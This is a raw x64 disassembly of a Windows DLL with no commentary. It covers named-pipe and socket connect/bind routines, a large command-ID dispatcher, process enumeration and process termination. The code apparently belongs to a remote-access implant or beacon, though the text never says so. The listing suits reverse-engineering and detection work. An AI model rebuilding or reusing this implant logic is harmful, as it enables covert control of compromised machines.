call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x1800156cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_sendto
mov edx, eax
call fcn.18000e590
jmp 0x18001572f
lea rcx, [rbp + 7]
mov rdx, rbx
call fcn.180015464
mov r8, r14
mov rcx, qword [rax]
mov rdx, rax
mov qword [rbp - 0x39], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x31], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x21], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 0x19], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp - 9], rax
mov rax, qword [rdx + 0x38]
mov qword [rbp - 0x11], rcx
lea rcx, [rbp - 0x39]
mov edx, 0x1bd
mov qword [rbp - 1], rax
call fcn.1800151b4
test eax, eax
jne 0x180015740
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, rbx
call fcn.18001c754
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov r14, r8
mov ebx, edx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 9]
mov r8d, ebx
mov rdx, rdi
lea esi, [rax + 0x3a98]
call fcn.180016104
lea rcx, [rbp - 9]
call fcn.18001624c
lea rcx, [rbp - 9]
movzx ebx, ax
call fcn.180016068
mov rdi, rax
call fcn.18000f10c
jmp 0x1800158d0
mov edx, ebx
mov rcx, rdi
call fcn.18000fec8
cmp rax, 0xffffffffffffffff
jne 0x180015909
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, esi
jb 0x1800158b5
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x44
mov edx, eax
call fcn.18000e590
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
lea rcx, [rbp + 0xf]
mov rdx, rax
call fcn.180015a20
bts ebx, 0x14
mov rcx, qword [rax]
mov r8, rax
mov edx, ebx
mov qword [rbp - 0x49], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x41], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x39], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x31], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp - 0x19], rax
mov rax, qword [r8 + 0x38]
mov qword [rbp - 0x21], rcx
lea rcx, [rbp - 0x49]
mov r8, r14
mov qword [rbp - 0x11], rax
call fcn.1800151b4
jmp 0x1800158ec
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x18004a470]
call qword [sym.imp.WS2_32.dll_ntohl]
jmp 0x1800164f3
cmp dword [rbx + 4], 0
je 0x1800164ef
cmp eax, dword [rbx]
jne 0x1800164ef
cmp dword [rbx + 0x10], 2
je 0x1800164ef
and dword [rbx + 4], 0
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x1800164db
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rdi, rcx
mov ecx, dword [rcx]
mov r12d, 1
mov rsi, r8
mov ebx, edx
mov dword [rbp + 0x378], ecx
mov dword [rbp + 0x370], r12d
lea r13d, [r12 + 3]
call qword [sym.imp.WS2_32.dll_ntohl]
movzx ecx, word [rdi + r13]
sub ebx, 6
mov r14d, eax
call qword [sym.imp.WS2_32.dll_ntohs]
lea rdx, [r13 + 2]
lea rcx, [rsp + 0x30]
movzx r15d, ax
mov eax, 0x3ff
cmp ebx, eax
cmovge ebx, eax
add rdx, rdi
movsxd rbx, ebx
mov r8, rbx
call fcn.18001f920
mov byte [rsp + rbx + 0x30], 0
call fcn.18000f10c
mov edx, r12d
xor r8d, r8d
lea r12d, [rdx + 1]
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_socket]
or rdi, 0xffffffffffffffff
mov rbx, rax
cmp rax, rdi
jne 0x1800165c3
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x378]
mov r8d, r13d
mov edx, r13d
call rsi
jmp 0x180016652
lea rcx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x1800165d8
mov rcx, rbx
jmp 0x1800165a9
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x24]
mov rdx, qword [rdx]
call fcn.18001f920
movzx ecx, r15w
mov word [rsp + 0x20], r12w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rbp + 0x370]
mov edx, 0x8004667e
mov rcx, rbx
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, edi
je 0x1800165a9
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, edi
jne 0x180016641
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1800165d3
mov r8d, 0x7530
mov edx, r14d
mov rcx, rbx
call fcn.180016480
mov rbx, qword [rsp + 0x480]
add rsp, 0x430
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x430
mov rbx, rcx
mov ecx, dword [rcx]
mov rsi, r8
mov dword [rax + 0x10], ecx
mov dword [rax + 8], 1
call qword [sym.imp.WS2_32.dll_ntohl]
movzx ecx, word [rbx + 4]
mov ebp, eax
call qword [sym.imp.WS2_32.dll_ntohs]
call fcn.18000f10c
xor r8d, r8d
lea r14d, [r8 + 2]
mov edx, r14d
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800166e8
or rcx, rax
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, 4
lea rcx, [rsp + 0x458]
mov r8d, edx
call rsi
jmp 0x180016730
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.WS2_32.dll_bind]
mov rcx, rbx
test eax, eax
js 0x1800166ce
lea r8, [rsp + 0x450]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, 0xffffffff
je 0x1800166ce
mov r8d, 0x7530
mov edx, ebp
call fcn.1800164a0
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
mov rsi, rcx
lea rcx, [rax - 0x28]
mov rdi, r8
call fcn.180016114
lea rcx, [rsp + 0x30]
mov ebp, eax
call fcn.18001624c
mov r8d, 1
movzx ebx, ax
xor ecx, ecx
mov edx, ebx
call fcn.180016a78
cmp rax, 0xffffffffffffffff
jne 0x18001679c
lea edx, [rax + 5]
mov rcx, rsi
mov r8d, edx
call rdi
jmp 0x1800167be
mov r9d, 1
mov r8d, 0x2bf20
mov edx, ebp
mov rcx, rax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ebx
call fcn.1800163e0
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, qword [0x18004a470]
mov rdi, rcx
mov ecx, dword [rcx]
mov esi, edx
call qword [sym.imp.WS2_32.dll_ntohl]
mov ebp, eax
jmp 0x18001681e
cmp dword [rbx + 4], 1
jne 0x18001681a
cmp ebp, dword [rbx]
jne 0x18001681a
lea r8d, [rsi - 4]
lea rdx, [rdi + 4]
mov rcx, rbx
call fcn.1800171fc
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x180016800
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x430
mov rsi, qword [0x18004a470]
mov r14, rcx
mov ecx, dword [rcx]
mov ebp, edx
call qword [sym.imp.WS2_32.dll_ntohl]
movzx ecx, word [r14 + 4]
mov r15d, eax
call qword [sym.imp.WS2_32.dll_ntohs]
mov ecx, dword [r14 + 6]
add r14, 0xa
sub ebp, 0xa
movzx r12d, ax
call qword [sym.imp.WS2_32.dll_ntohl]
lea rcx, [rsp + 0x30]
mov rdx, r14
movsxd rdi, eax
mov eax, 0x3ff
cmp ebp, eax
mov r8, rdi
cmovge ebp, eax
call fcn.18001f920
add r14, rdi
sub ebp, edi
mov byte [rsp + rdi + 0x30], 0
jmp 0x1800168e2
cmp dword [rsi + 4], 1
jne 0x1800168de
cmp r15d, dword [rsi]
jne 0x1800168de
lea rax, [rsp + 0x30]
mov r9d, r12d
mov r8d, ebp
mov rdx, r14
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.180017308
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x1800168b8
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov edi, r8d
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.180016104
lea rcx, [rsp + 0x30]
call fcn.18001624c
movzx ecx, ax
movzx ebx, ax
call fcn.180016b4c
test eax, eax
jne 0x18001698a
movzx ebx, bx
lea r8d, [rax + 0xa]
mov ecx, edi
mov edx, ebx
call fcn.180016a78
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18001697e
call fcn.180016b7c
mov r9d, 2
xor r8d, r8d
mov dword [rsp + 0x28], r9d
mov edx, eax
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.1800163e0
jmp 0x18001698a
mov edx, ebx
mov ecx, socket
call fcn.18000e590
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
push rbx
sub rsp, 0x40
mov rbx, qword [0x18004a470]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180016104
lea rcx, [rsp + 0x20]
call fcn.18001624c
xor edx, edx
movzx ecx, ax
jmp 0x1800169ee
cmp dword [rbx + 4], edx
je 0x1800169ea
cmp dword [rbx + 0x10], 2
jne 0x1800169d9
movzx eax, cx
cmp dword [rbx + 0x14], eax
je 0x1800169e7
cmp dword [rbx + 0x10], 3
jne 0x1800169ea
movzx eax, cx
cmp dword [rbx + 0x14], eax
jne 0x1800169ea
mov dword [rbx + 4], edx
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x1800169c6
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.180016104
lea rcx, [rsp + 0x30]
call fcn.18001624c
mov r8d, 0xa
xor ecx, ecx
movzx ebx, ax
mov edx, ebx
call fcn.180016a78
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180016a61
call fcn.180016b7c
mov r9d, 3
xor r8d, r8d
mov rcx, rdi
mov edx, eax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ebx
call fcn.1800163e0
jmp 0x180016a6d
mov edx, ebx
mov ecx, socket
call fcn.18000e590
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
sub rsp, 0x48
cmp qword [0x18004a488], 0
je 0x18001748d
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180016104
lea rcx, [rsp + 0x20]
call fcn.18001624c
mov rdx, qword [0x18004a488]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x18001747b
movzx ecx, ax
call fcn.18001ee8c
add rsp, 0x48
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [0x18004a488]
movsxd rbx, edx
test rcx, rcx
je 0x1800174b5
call fcn.18001f244
lea eax, [rbx + 1]
movsxd rcx, eax
call fcn.18001f284
mov r8, rbx
mov rdx, rdi
mov rcx, rax
mov qword [0x18004a488], rax
call fcn.18001f920
mov rax, qword [0x18004a488]
mov byte [rbx + rax], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180016104
lea rcx, [rsp + 0x20]
call fcn.180016114
xor ecx, ecx
test eax, eax
setne cl
mov dword [0x18004a490], ecx
add rsp, 0x48
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180016104
lea rcx, [rsp + 0x20]
call fcn.180016114
mov dword [0x18004a494], eax
test eax, eax
je 0x180017929
mov ecx, eax
call fcn.180017958
test eax, eax
jne 0x180017929
mov edx, dword [0x18004a494]
lea ecx, [rax + 0xf]
call fcn.18000e590
add rsp, 0x48
ret
sub rsp, 0x28
mov eax, r8d
mov r10, rdx
cmp ecx, 0x3b
ja 0x180018a9c
je 0x180018a8e
cmp ecx, 0x20
ja 0x1800188c0
je 0x1800188ab
cmp ecx, 0xf
ja 0x1800187b1
je 0x1800187a3
cmp ecx, 0xa
ja 0x180018742
je 0x18001872d
dec ecx
je 0x180018716
sub ecx, 2
je 0x180018706
dec ecx
je 0x1800186f8
dec ecx
je 0x1800186ea
cmp ecx, 4
jne 0x180018e05
lea r8d, [rcx - 3]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012510
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f41c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f9cc
lea rcx, [fcn.18000cee8]
add rsp, 0x28
jmp fcn.18000f484
mov r9d, 1
mov r8d, r9d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012414
lea r8, [0x1800328e4]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000fc64
sub ecx, 0xb
je 0x18001878e
dec ecx
je 0x180018780
dec ecx
je 0x18001876c
dec ecx
jne 0x180018e05
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180016500
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001bb48
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f5f8
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011694
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800167d4
cmp ecx, 0x17
ja 0x18001884c
je 0x180018837
sub ecx, 0x10
je 0x180018829
dec ecx
je 0x180018814
dec ecx
je 0x1800187f9
dec ecx
je 0x1800187eb
cmp ecx, 3
jne 0x180018e05
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014f64
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011880
mov r8d, 1
lea r9, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001266c
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180016748
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800164c4
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800150d0
sub ecx, 0x18
je 0x180018896
sub ecx, 3
je 0x180018881
dec ecx
je 0x180018878
cmp ecx, 3
jne 0x180018e05
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001dd18
add rsp, 0x28
jmp fcn.18001dcc0
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001db48
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014f04
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180018f20
cmp ecx, 0x2e
ja 0x1800189b0
je 0x1800189ab
cmp ecx, 0x29
ja 0x180018959
je 0x180018949
sub ecx, 0x21
je 0x18001893b
sub ecx, 4
je 0x18001892d
dec ecx
je 0x180018918
dec ecx
je 0x180018908
dec ecx
jne 0x180018e05
xor r9d, r9d
xor r8d, r8d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800145cc
lea rcx, [fcn.18000cee8]
add rsp, 0x28
jmp 0x18000f700
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f778
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180017494
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180018e9c
lea rcx, [fcn.18000cee8]
add rsp, 0x28
jmp 0x18001471c
sub ecx, 0x2a
je 0x18001899d
dec ecx
je 0x180018995
dec ecx
je 0x180018987
dec ecx
jne 0x180018e05
lea r9d, [rcx + 1]
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800125f8
mov r9d, 1
xor r8d, r8d
jmp 0x18001871f
xor r8d, r8d
jmp 0x1800186dc
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001457c
xor r9d, r9d
jmp 0x180018972
cmp ecx, 0x35
ja 0x180018a3a
je 0x180018a25
sub ecx, 0x2f
je 0x180018a17
sub ecx, 2
je 0x180018a02
dec ecx
je 0x1800189f1
dec ecx
je 0x1800189e3
dec ecx
jne 0x180018e05
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000fa1c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180016998
xor r8d, r8d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001690c
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001dbdc
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f6d4
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011c30
sub ecx, 0x36
je 0x180018a80
dec ecx
je 0x180018a6b
dec ecx
je 0x180018a5d
dec ecx
jne 0x180018e05
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000fb08
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011b3c
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011b9c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011ea8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001edb4
cmp ecx, 0x57
ja 0x180018c6c
je 0x180018c60
cmp ecx, 0x4a
ja 0x180018b8f
je 0x180018b81
cmp ecx, 0x45
ja 0x180018b2e
je 0x180018b26
sub ecx, 0x3c
je 0x180018b18
dec ecx
je 0x180018b08
dec ecx
je 0x180018afc
sub ecx, 5
je 0x180018af0
dec ecx
jne 0x180018e05
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800153e4
lea r8, [0x1800328e8]
jmp 0x180018734
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x1800188fa
lea rcx, [fcn.18000cee8]
add rsp, 0x28
jmp 0x1800108a0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010920
xor r8d, r8d
jmp 0x180018772
sub ecx, 0x46
je 0x180018b6a
dec ecx
je 0x180018b5f
dec ecx
je 0x180018b51
dec ecx
jne 0x180018e05
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011a70
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f9c4
mov r9d, 1
xor r8d, r8d
jmp 0x180018b73
mov r9d, 1
mov r8d, r9d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800126e8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011ee8
cmp ecx, 0x52
ja 0x180018c0a
je 0x180018bfc
sub ecx, 0x4b
je 0x180018bee
dec ecx
je 0x180018be0
dec ecx
je 0x180018bcb
dec ecx
je 0x180018bbd
dec ecx
jne 0x180018e05
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180017448
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f49c
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800109bc
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f8b0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800178e8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800169fc
sub ecx, 0x53
je 0x180018c52
dec ecx
je 0x180018c44
dec ecx
je 0x180018c34
dec ecx
jne 0x180018e05
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015854
lea rcx, [fcn.18000cee8]
add rsp, 0x28
jmp 0x18000c87c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000c900
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000c784
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x180018b73
cmp ecx, 0x65
ja 0x180018d2e
je 0x180018d23
cmp ecx, 0x5d
ja 0x180018ce1
je 0x180018ccd
sub ecx, 0x58
je 0x180018cc5
dec ecx
je 0x180018cb9
dec ecx
je 0x180018cb1
dec ecx
je 0x180018ca9
dec ecx
jne 0x180018e05
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180017800
xor r8d, r8d
jmp 0x1800187ff
xor r9d, r9d
jmp 0x18001898d
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x18001871f
xor r9d, r9d
jmp 0x180018b65
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800129a4
sub ecx, 0x5e
je 0x180018d1e
sub ecx, 4
je 0x180018d0a
dec ecx
je 0x180018d05
dec ecx
jne 0x180018e05
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000d3a4
xor r8d, r8d
jmp 0x180018d10
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012af8
xor r8d, r8d
jmp 0x180018cd3
mov r9d, 1
jmp 0x1800188f7
cmp ecx, 0x71
ja 0x180018db9
je 0x180018da4
sub ecx, 0x66
je 0x180018d99
dec ecx
je 0x180018d84
dec ecx
je 0x180018d76
dec ecx
je 0x180018d61
cmp ecx, 7
jne 0x180018e05
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f458
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001e3b4
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180016838
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180016670
mov r8d, 0x100007f
jmp 0x1800189f4
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f750
sub ecx, 0x72
je 0x180018dfb
dec ecx
je 0x180018de6
dec ecx
je 0x180018dd8
dec ecx
jne 0x180018e05
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800100f8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800102e8
lea r8, [fcn.18000cee8]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000ff80
mov edx, eax
mov rcx, r10
call fcn.180018628
add rsp, 0x28
ret
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x40
and qword [r11 - 0x28], 0
xor eax, eax
mov r8d, edx
mov rdx, rcx
lea rcx, [r11 - 0x28]
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x18], rax
call fcn.180016104
lea rcx, [rsp + 0x20]
call fcn.180016114
xor edx, edx
lea ecx, [rdx + 1]
mov r8d, eax
mov edi, eax
call fcn.18001cd6c
mov rbx, rax
test rax, rax
je 0x180018ef6
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180018f0b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, edi
mov ecx, 0x23
mov r8d, eax
call fcn.18000e59c
mov rcx, rbx
call fcn.18001c754
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x8b8]
sub rsp, 0x9a0
mov rdi, rcx
mov r15, r8
mov ebx, edx
lea rcx, [rbp + 0xa1]
xor edx, edx
mov r8d, 0x7ff
mov byte [rbp + 0xa0], 0
call fcn.18001f530
lea rcx, [rsp + 0x58]
mov r8d, ebx
mov rdx, rdi
call fcn.180016104
lea rcx, [rsp + 0x58]
call fcn.180016114
lea rcx, [rsp + 0x40]
mov edx, 0x8000
mov esi, eax
call fcn.18000d044
test esi, esi
jle 0x180018fa0
lea rcx, [rsp + 0x40]
mov edx, esi
call fcn.18000d074
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.180010c64
test eax, eax
je 0x180018fbb
lea rdi, [0x1800328ec]
jmp 0x180018fd4
call fcn.180010cac
lea rcx, [0x1800328ec]
lea rdi, [0x1800328f0]
test eax, eax
cmovne rdi, rcx
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180019148
lea rdx, [rsp + 0x70]
mov rcx, rax
mov dword [rsp + 0x70], 0x130
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x180019011
mov rcx, rbx
call fcn.18001c754
jmp 0x180019148
call fcn.180015e18
mov r8d, dword [rsp + 0x78]
neg eax
sbb ecx, ecx
xor edx, edx
and ecx, 0xc00
add ecx, 0x400
call fcn.18001cd6c
mov r14, rax
test rax, rax
jne 0x180019060
mov eax, dword [rsp + 0x78]
mov r9d, dword [rbp - 0x70]
lea r8, [rbp - 0x64]
lea rdx, str._s_t_d_t_d_n
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x20], eax
call fcn.18000d14c
jmp 0x1800190fd
lea rdx, [rbp + 0xa0]
mov r8d, 0x800
mov rcx, rax
call fcn.1800191b4
lea rdx, [rbp + 0x8d8]
neg eax
sbb cl, cl
and byte [rbp + 0xa0], cl
mov ecx, dword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov ecx, dword [rbp + 0x8d8]
or edx, 0xffffffff
test eax, eax
cmove ecx, edx
mov dword [rbp + 0x8d8], ecx
mov rcx, r14
call fcn.180010c64
mov r9d, dword [rbp - 0x70]
lea rcx, [0x1800328f0]
test eax, eax
mov eax, dword [rbp + 0x8d8]
lea r8, [rbp - 0x64]
mov dword [rsp + 0x38], eax
lea rax, [rbp + 0xa0]
cmove rcx, rdi
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x78]
mov qword [rsp + 0x28], rcx
lea rdx, str._s_t_d_t_d_t_s_t_s_t_d_n
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x20], eax
call fcn.18000d14c
mov rcx, r14
call fcn.18001c754
lea rdx, [rsp + 0x70]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x180019011
mov rcx, rbx
call fcn.18001c754
lea rcx, [rsp + 0x40]
call fcn.1800161e4
lea rcx, [rsp + 0x40]
mov ebx, eax
call fcn.18000d1b8
mov edx, ebx
mov r8d, reloc.WS2_32.dll_recvfrom
mov rcx, rax
test esi, esi
je 0x180019145
mov r8d, reloc.WS2_32.dll_shutdown
call r15
lea rcx, [rsp + 0x40]
call fcn.18000d020
lea r11, [rsp + 0x9a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
